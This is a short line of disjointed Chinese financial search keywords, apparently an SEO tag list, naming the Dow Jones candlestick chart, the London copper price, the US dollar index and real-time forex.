道琼斯k线图 265万澳元 理财三 日bi 伦敦铜价 美元指数dini 即时外汇







